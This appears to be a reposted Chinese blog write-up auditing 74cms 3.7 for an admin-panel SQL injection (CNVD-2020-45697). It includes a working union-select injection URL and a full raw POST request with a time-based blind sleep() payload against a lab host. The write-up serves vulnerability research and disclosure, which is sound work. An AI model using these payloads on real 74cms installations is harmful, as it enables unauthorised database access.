CNVD-2020-45697——74cms后台SQL注入漏洞

  • A+
所属分类:代码审计

更多全球网络安全资讯尽在邑安全

通过对整个cms的select全局搜索得到以下关联信息,接下来就需要人力慢慢去看sql
语句了

CNVD-2020-45697——74cms后台SQL注入漏洞该cms中Sql语句中只有
{$参数}
uid
以上两个参数的统一没有SQL注入,经过审计得知uid是从session中读取,cookie和传参中都没有相关值,同理可得该版本cms没有越权漏洞;

接下来就是枯燥且乏味对sql语句的搜索之旅

当审计到第67行时双击跟踪进去

CNVD-2020-45697——74cms后台SQL注入漏洞可得到对应该sql语句的对应方法名

CNVD-2020-45697——74cms后台SQL注入漏洞

接下来全局搜索该方法名,看看该方法被那些类调用过

CNVD-2020-45697——74cms后台SQL注入漏洞

排除掉第三行和第四行,他们都是在重写方法,不是调用

接下来就是详细观看另外三个了

首先看第一个

CNVD-2020-45697——74cms后台SQL注入漏洞

发现该参数是通过get方法传递,并且没有任何的过滤,直接中奖,接下来找到对应页面测试,目标在后台,所以需要后台登录
http://169.254.136.163/74cms1/3.7/upload/admin/admin_category.php?act=edit_color&id=1

CNVD-2020-45697——74cms后台SQL注入漏洞

由上面找到sql的语句可以知道这是一个int类型的sql注入,那接下就简单了,甚至连sqlmap都用不到

http://169.254.136.163/74cms1/3.7/upload/admin/admin_category.php?act=edit_color&id=-1 union select 1,version()

CNVD-2020-45697——74cms后台SQL注入漏洞(图1)
不过可惜的是这个是在后台中,需要管理员用户名和密码有点鸡肋

接下来看第二个

CNVD-2020-45697——74cms后台SQL注入漏洞在同一个页面下面

CNVD-2020-45697——74cms后台SQL注入漏洞这个也没有做过滤,不过这个方法是在图1中选择保存之后才会生效

CNVD-2020-45697——74cms后台SQL注入漏洞

CNVD-2020-45697——74cms后台SQL注入漏洞

抓包得到post数据后发现他还有一个token,经过简单的绕过之后发现并没用,说明这里虽然存在sql注入但是sqlmap用不了,也懒得写爬虫去爬hiddentoken的值去配合注入,手动证明一下就行了

Pyload:

POST /74cms1/3.7/upload/admin/admin_category.php?act=edit_color_save HTTP/1.1
Host: 169.254.136.163
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: http://169.254.136.163
Connection: close
Referer: http://169.254.136.163/74cms1/3.7/upload/admin/admin_category.php?act=edit_color&id=1
Cookie: PHPSESSID=td4j0p7kgbbnqgfig4isfmj573
Upgrade-Insecure-Requests: 1

hiddentoken=bfe00749&val=%23bc123a&id=1+and+if(length(database())>5,sleep(10),1)&addsave=%B1%A3%B4%E6

CNVD-2020-45697——74cms后台SQL注入漏洞

CNVD-2020-45697——74cms后台SQL注入漏洞

CNVD-2020-45697——74cms后台SQL注入漏洞

CNVD-2020-45697——74cms后台SQL注入漏洞

CNVD-2020-45697——74cms后台SQL注入漏洞

现了异常明显的延迟,说明注入成功

接下来看第三个,也是最后一个

CNVD-2020-45697——74cms后台SQL注入漏洞

方法内容如下

CNVD-2020-45697——74cms后台SQL注入漏洞

出现sql注入的方法为get_color_one(参数),这里入参为$val,由上一行可知该参数是从POST请求过来的,而且被intval()给转整了,而且使用了三目运算符,在运算符中也使用了intval(),无法使用字符和字符串,也就算无法使用sql语句中的select、from等等,当场拉闸。

之后在对剩下的sql语句进行审计时未发现更多的sql注入,但是我只是查询了select。insert,update等语句还没有审计,目前就到这里吧

转自先知社区

欢迎收藏并分享朋友圈,让五邑人网络更安全

CNVD-2020-45697——74cms后台SQL注入漏洞

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 




发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: